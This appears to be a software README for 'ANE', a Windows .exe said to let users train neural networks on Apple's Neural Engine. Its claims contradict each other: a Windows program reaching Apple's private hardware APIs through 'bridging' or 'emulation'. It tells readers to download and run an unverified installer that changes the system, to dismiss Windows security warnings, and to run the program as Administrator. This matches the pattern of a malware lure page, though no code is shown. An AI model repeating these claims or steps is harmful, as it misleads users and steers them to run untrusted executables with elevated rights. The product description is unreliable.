🧠 ANE - Train neural networks with Apple hardware

📖 About this tool

ANE helps you train neural networks by accessing the Apple Neural Engine. While this hardware typically sits inside Apple devices, this software provides a way to interface with those private tools. You can use this to speed up machine learning tasks that usually require heavy processing power.

💻 System Requirements

Before you run this software, ensure your computer meets these standards:

• Windows 10 or Windows 11.
• At least 8GB of system RAM.
• An Apple device with an M-series chip if you bridge hardware, or standard Windows hardware for emulation tasks.
• An active internet connection for the installation process.

🚀 Download and Setup

Follow these steps to get the software running on your machine:

1. Visit the official release page to view all available versions.
2. Find the latest version at the top of the list. Click the file ending in .exe to start your download.
3. Locate the file in your Downloads folder once the transfer finishes.
4. Double-click the file to launch the installer tool.
5. Follow the on-screen prompts. The installer will prepare your system to communicate with the Neural Engine APIs.
6. Restart your computer when the installer finishes to finalize system updates.

⚙️ How to use

Once you open the software, you will see a command console. This interface handles your training requests. You can load your dataset using the file menu. Select your model type, choose your output destination, and click Start Training. The software will display progress logs in the center window. If you see an error, check that your hardware drivers are up to date.

🛡️ Troubleshooting

If the program does not open, check your security settings. Sometimes Windows marks new software as a risk. Right-click the icon and choose Run as Administrator. Ensure no other heavy programs run at the same time to prevent memory conflicts. If the program crashes, look at the log file located in your Documents folder under ANE/logs.
